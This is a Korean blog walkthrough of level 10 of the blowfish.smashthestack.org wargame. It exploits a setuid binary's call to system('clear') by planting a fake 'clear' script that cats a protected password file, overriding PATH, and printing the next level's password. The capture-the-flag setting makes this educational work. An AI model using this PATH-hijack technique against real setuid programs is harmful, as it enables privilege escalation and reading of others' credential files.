blowfish.smashthestack.org – Level10 풀이

Level10 문제는 아주 간단한 문제이다. 먼저 문제 파일을 실행하여 보자.

Would you like to play a game?

실행하면 먼저 화면이 clear되고 위와 같은 메세지가 나온다.
여기서 우리는 해당 문제파일이 clear 명령어를 이용하고 있다는 것으로 짐작할 수 있다.
strings 명령어를 이용하여 문제 파일의 문자열을 확인하여 보자.

strilevel10@blowfish:~$ strings /levels/level10
/lib/ld-linux.so.2
_Jv_RegisterClasses
__gmon_start__
libc.so.6
printf
geteuid
fgets
execl
system
sleep
stdin
_IO_stdin_used
__libc_start_main
strlen
setuid
GLIBC_2.0
PTRhP
QVh$
[^_]
y0_y0_c0ngra7s
clear
Would you like to play a game? 
Incorrect password!
Goodbye!
Good job! Spawning shell...
/bin/sh
level10@blowfish:~$ \

clear라는 단어가 있는걸 봐서 clear 명령어를 사용하는 것이 맞는거 같다.
그럼 이제 우리는 clear라는 파일을 만들어서 환경변수 PATH를 수정하여
우리가 만든 clear 파일을 실행할 수 있을것이다.

  1. 가짜 clear 파일을 /levels/tmp/geegeegee 폴더내에 작성하자

    #!/usr/bin/python
    import os
    os.system('/bin/cat /pass/level11')
  2. PATH 환경변수를 수정하자.

    
    export PATH='/levels/tmp/geegeegee/'```
  3. 문제파일 실행!

    level10@blowfish:/levels/tmp/geegeegee$ /levels/level10
    phj33r_tuX
    Would you like to play a game?

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다